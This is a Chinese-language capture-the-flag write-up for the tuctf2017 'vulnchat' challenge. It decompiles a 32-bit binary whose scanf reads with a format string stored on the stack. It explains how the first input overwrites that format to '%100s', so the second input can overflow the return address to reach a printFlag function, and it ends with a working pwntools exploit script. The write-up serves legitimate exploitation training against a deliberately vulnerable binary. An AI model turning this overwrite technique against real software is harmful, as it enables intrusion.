1. 程式人生 > 其它 >tuctf2017_vulnchat 題解——修改 scanf 中的格式化字串從而改變 scanf 的輸入字元限制

tuctf2017_vulnchat 題解——修改 scanf 中的格式化字串從而改變 scanf 的輸入字元限制

這些題目皆來自於 nightmare 專案,感謝 nightmare 專案高質量的題解和選題,nigthmare 線上電子書地址:

https://guyinatuxedo.github.io/index.html

其中題目中所需要的二進位制程式環境在這個電子書的官方倉庫裡有。

二進位制檔案資訊收集

是一個 32 位程式,並且沒有 canary 防護,可以直接修改函式的返回地址

逆向分析

部分函式、變數的命名為了逆向方便被我修改過

// Main 函式
undefined4 main(void)
{
  undefined user_input [20];
  undefined username [20];
  undefined4 fmt;
  undefined local_5;
  
  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("----------- Welcome to vuln-chat -------------");
  printf("Enter your username: ");
                    /* %30s */
  fmt = 0x73303325;
  local_5 = 0;
  __isoc99_scanf(&fmt,username);
  printf("Welcome %s!\n",username);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: I have the information. But how do I know I can trust you?");
  printf("%s: ",username);
  __isoc99_scanf(&fmt,user_input);
  puts("djinn: Sorry. That\'s not good enough");
  fflush(stdout);
  return 0;
}

// 位於 0x0804856b 的 printFlag 函式
void printFlag(void)
{
  system("/bin/cat ./flag.txt");
  puts("Use it wisely");
  return;
}

如果我們能覆蓋 main 函式的返回地址,將這個地址改成 printFlag 的地址就可以了

觀察 main 函式的棧資訊

小技巧,ghidra 裡面裡面這些區域性變數陣列的下標的絕對值就是覆蓋掉函式返回地址前需要填充的資料位元組數,比如說 username 這個陣列如果要溢位到返回地址只要 0x1d 個數據,然後再加上別的函式的返回地址,比如說 printFlag 的返回地址 0x0804856b,就能控制函式的返回地址。也就是說最終需要傳送 b'a' * 0x1d + p32(0x0804856b) 這樣的資料就可以了

本來我是直接打算通過溢位 username 來覆蓋掉函式的返回地址的,但是發現如果要覆蓋掉函式的返回地址,這邊至少需要輸入 username 的時候能讀入 0x1d + 0x4 = 33 個位元組的資料,但是最終我們實際上由於 scanf 和 fmt 變數的限制,我們只能輸入 30 個字元。

後面看了 nightmare 提供的題解,發現了輸入 username 的時候,是可以覆蓋掉 fmt 字串的,所以我們有機會再輸入 user_input 變數的時候輸入任意長度的字串。這樣在輸入 user_input 的時候就有機會覆蓋掉返回地址了。

攻擊指令碼

from pwn import *

printFlagPtr = 0x0804856b

if __name__ == '__main__':
    target = process('./vuln-chat')

    target.recvuntil(b'Enter your username: ')    
    payload1 = b'a' * 20 + b'%100s'
    target.sendline(payload1)

    target.recvuntil(b'trust you?')
    payload2 = b'a' * 0x31 + p32(printFlagPtr)
    target.sendline(payload2)

    target.interactive()